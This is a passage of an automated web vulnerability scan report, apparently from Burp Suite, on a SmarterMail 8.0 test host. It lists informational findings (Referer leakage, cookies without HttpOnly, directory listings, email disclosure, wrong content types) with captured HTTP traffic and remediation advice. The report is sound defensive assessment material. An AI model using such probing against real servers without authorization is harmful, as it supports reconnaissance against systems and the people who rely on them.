If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


8.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Javascript/JavaScript.ashx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /App_Themes/Default/Javascript/JavaScript.ashx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /App_Themes/Default/Javascript/JavaScript.ashx?guid=1CBDF553BE0E600_1.6.4086.25042_&fileMask= HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:05 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: public
Expires: Tue, 13 Mar 2012 22:29:05 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Connection: Close
Content-Length: 98342

/*Ajax.js*/

var oldCallback = self.WebForm_DoCallback;
WebForm_DoCallback = function (eventTarget, eventArgument, eventCallback, context, errorCallback, useAsync) {
var action = $("form").att
...[SNIP]...
</div><a target=\"_blank\" href="http://maps.google.com/maps?q=' + encodeURIComponent(newLink) + '">' + language.GoogleMaps + '</a>
...[SNIP]...

8.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

POST /Login.aspx?ctl00%24BPH%24btnEnterClick=&ctl00%24BPH%24LanguageList=&ctl00%24MPH%24chkAutoLogin=&ctl00%24MPH%24txtPassword=&ctl00%24MPH%24txtUserName=%2c%2c HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache,no-cache
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Content-Length: 1048

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7cctl00%24BPH%24LoginImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24LoginImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwULLTE0NjgzNDI3NjQPFgQeEF9fX1
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:54 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Set-Cookie: ASP.NET_SessionId=mmwrolcl1so4uyfzc3xkf3ml; path=/; HttpOnly
Set-Cookie: SelectedLanguage=; expires=Sun, 14-Mar-2021 22:29:54 GMT; path=/
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 5842

1|#||4|3724|updatePanel|ctl00_UpdatePanel1|
               <div class="CenteredLogin">
                   <div class="ShadowBox">
                       <div class="LoginBox">
                           <div class="LoginTitle">
                               <div class="RoundedPa
...[SNIP]...
<div id="ctl00_BPH_HelpImageButton" class="BBButton"><a class="ButtonBarAnchor" href="http&#x3a;&#x2f;&#x2f;www&#x2e;smartertools&#x2e;com&#x2f;Help&#x2f;SmarterMail&#x2f;v8&#x2f;Default&#x2e;aspx&#x3f;p&#x3d;&#x5f;USR&#x26;v&#x3d;8&#x2e;0&#x2e;4086&#x26;lang&#x3d;en&#x2d;US&#x26;page&#x3d;LoginUser" target="helpwindow" onclick="window.open('http\x3a\x2f\x2fwww\x2esmartertools\x2ecom\x2fHelp\x2fSmarterMail\x2fv8\x2fDefault\x2easpx\x3fp\x3d\x5fUSR\x26v\x3d8\x2e0\x2e4086\x26lang\x3den\x2dUS\x26page\x3dLoginUser','helpwindow',''); return false;" tabindex='5'><span class="BBInner">
...[SNIP]...
<div class="LoginLinks">
                       <a href='http://www.smartertools.com/smartermail/mail-server-software.aspx' target='_blank'>SmarterMail Free 8.0</a> | <a href='http://www.smartertools.com/smartermail/mail-server-software.aspx' target='_blank'>Windows Mail Server</a> | &copy; 2011 <a href='http://www.smartertools.com/' target='_blank'>SmarterTools Inc.</a>
...[SNIP]...

8.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/UserControls/Popups/frmHelp.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /UserControls/Popups/frmHelp.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /UserControls/Popups/frmHelp.aspx?url= HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:55:31 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 5964
Connection: Close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="ctl00_head1"><title>
   SmarterMail Help
</title><scrip
...[SNIP]...
<li>
               <a target="_blank" href="http://www.smartertools.com/Help/SmarterMail/v8/Default.aspx?p=_DA&v=8.0.4086&lang=en-US&page=">Help for this Page</a>
...[SNIP]...
<li>
               <a target="_blank" href="http://www.smartertools.com/Help/SmarterMail/v8/Default.aspx?p=_DA&v=8.0.4086&lang=en-US">Help Topics</a>
...[SNIP]...
<li>
               <a target="_blank" href="http://www.smartertools.com/Help/SmarterMail/v8/Default.aspx?p=_DA&v=8.0.4086&lang=en-US&page=search">Search Online Help</a>
...[SNIP]...
<br />
       <a href="http://www.smartertools.com" id="ctl00_MPH_STLink" target="_blank">http://www.smartertools.com</a>
...[SNIP]...

9. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



9.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

POST /Login.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg
Content-Length: 999

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24LoginImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0NjgzNDI3NjQPFgQeEF9fX1
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:38 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Set-Cookie: SelectedLanguage=; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Set-Cookie: settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Set-Cookie: SM5Skin=Default; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 5423

1|#||4|43|pageRedirect||%2fMain%2ffrmWelcome.aspx%3funframed%3dtrue|1|#||4|3565|updatePanel|ctl00_UpdatePanel1|
               <div class="CenteredLogin">
                   <div class="ShadowBox">
                       <div class="LoginB
...[SNIP]...

9.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Logout.aspx  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Logout.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Logout.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response

HTTP/1.1 302 Found
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:55:30 GMT
X-AspNet-Version: 4.0.30319
Location: /Login.aspx
Set-Cookie: SM5Skin=Default; expires=Sun, 14-Mar-2021 22:55:30 GMT; path=/
Set-Cookie: settings=; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 128
Connection: Close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/Login.aspx">here</a>.</h2>
</body></html>

10. Directory listing  previous  next
There are 2 instances of this issue:

Issue description

Directory listings do not necessarily constitute a security vulnerability. Any sensitive resources within your web root should be properly access-controlled in any case, and should not be accessible by an unauthorised party who happens to know the URL. Nevertheless, directory listings can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analysing and attacking them.

Issue remediation

There is not usually any good reason to provide directory listings, and disabling them may place additional hurdles in the path of an attacker. This can normally be achieved in two ways:


10.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Images/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /App_Themes/Default/Images/

Request

GET /App_Themes/Default/Images/ HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:53:28 GMT
Content-Length: 2178
Content-type: text/html; charset=utf-8
Connection: Close

<html>
<head>
<title>Directory Listing -- /App_Themes/Default/Images/</title>
<style>
   body {font-family:"Verdana";font-weight:normal;font-size: 8pt;color:black;}

...[SNIP]...
<PRE>
<A href="/App_Themes/Default/">[To Parent Directory]</A>
...[SNIP]...

10.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/App_Themes/Default/Images/16x16/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /App_Themes/Default/Images/16x16/

Request

GET /App_Themes/Default/Images/16x16/ HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:53:28 GMT
Content-Length: 20652
Content-type: text/html; charset=utf-8
Connection: Close

<html>
<head>
<title>Directory Listing -- /App_Themes/Default/Images/16x16/</title>
<style>
   body {font-family:"Verdana";font-weight:normal;font-size: 8pt;color:black;}

...[SNIP]...
<PRE>
<A href="/App_Themes/Default/Images/">[To Parent Directory]</A>
...[SNIP]...

11. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /Login.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:03 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 8478


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
<div class="LoginLabel">
           Email Address
           (ex. user@example.com)
       </div>
...[SNIP]...

12. Content type incorrectly stated  previous  next
There are 8 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


12.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Default.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Default.aspx?section=UserContacts HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx?section=UserContacts
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316","TopBarSection":"UserTasks"}
Content-Length: 1423

ctl00%24ScriptManager1=ctl00%24Split%24LP%24StyledUpdatePanel1%7Cctl00%24Split%24LP%24ctl01%24lnkFilter&ctl00_Split_LP_ctl01_menuTasksSourceTitle_menuTasksSource_menuSourceSelf_CB=on&ctl00_Split_LP_ct
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:54:48 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 11366

1|#||4|5355|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div class="PageTitle" id="SectionHeader">
   <div class="RoundedPageTitleLeft">
       <div class="RoundedPageTitleRight">
       
...[SNIP]...

12.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Login.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg
Content-Length: 999

ctl00%24ScriptManager1=ctl00%24UpdatePanel1%7Cctl00%24BPH%24LoginImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24LoginImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0NjgzNDI3NjQPFgQeEF9fX1
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:38 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Set-Cookie: SelectedLanguage=; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Set-Cookie: settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Set-Cookie: SM5Skin=Default; expires=Sun, 14-Mar-2021 22:29:38 GMT; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 5423

1|#||4|43|pageRedirect||%2fMain%2ffrmWelcome.aspx%3funframed%3dtrue|1|#||4|3565|updatePanel|ctl00_UpdatePanel1|
               <div class="CenteredLogin">
                   <div class="ShadowBox">
                       <div class="LoginB
...[SNIP]...

12.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/Calendar/frmEvent.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/Calendar/frmEvent.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316"}
Content-Length: 25366

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24SaveTextImageButton&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTE1MTMxMzQyNg8WCh
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:26 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 67599

1|#||4|227|updatePanel|ctl00_UpdatePanel1|
           <div id="ctl00_TipTextDiv" class="TipTextContainer">
               <div class="TipTextFailure"><img src="/App_Themes/Default/Images/Icons/TipText/Failure.gif" alt
...[SNIP]...

12.4. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmCalendar.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/frmCalendar.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmCalendar.aspx
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316"}
Content-Length: 14795

ctl00%24ScriptManager1=ctl00%24MPH%24ctl00%7Cctl00%24MPH%24lnkUpdate&__EVENTTARGET=ctl00%24MPH%24lnkUpdate&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTE0MTU5OTM3NQ8WCB4IX19fVGl0bGUFC015IENhbGVuZGFyHhBfX1
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:41 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 35560

1|#||4|1292|updatePanel|ctl00_TitleBar_UpdatePanel2|
           <div class="PageTitle" id="SectionHeader">
               <div class="RoundedPageTitleLeft">
                   
<!-- HyperMenu -->
<div class='hmNavMenu'><ul class
...[SNIP]...

12.5. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmContact.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/frmContact.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmContact.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=
Content-Length: 17022

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24btnSave&__LASTFOCUS=&__EVENTTARGET=ctl00%24BPH%24btnSave&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJODY5NTM0MTk5DxYGHghfX19UaXRsZQULTXkgQ29udG
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:38:21 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 50200

1|#||4|9|updatePanel|ctl00_UpdatePanel1|
           
       |22441|updatePanel|ctl00_MPH_ctl00|
           
<!-- HyperMultiPage -->
<div class='' id='ctl00_MPH_wucContactInfo_MP1'>
   <input type="hidden" name="ctl00$
...[SNIP]...

12.6. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmTask.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain HTML.

Request

POST /Main/frmTask.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmTask.aspx?popup=true
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
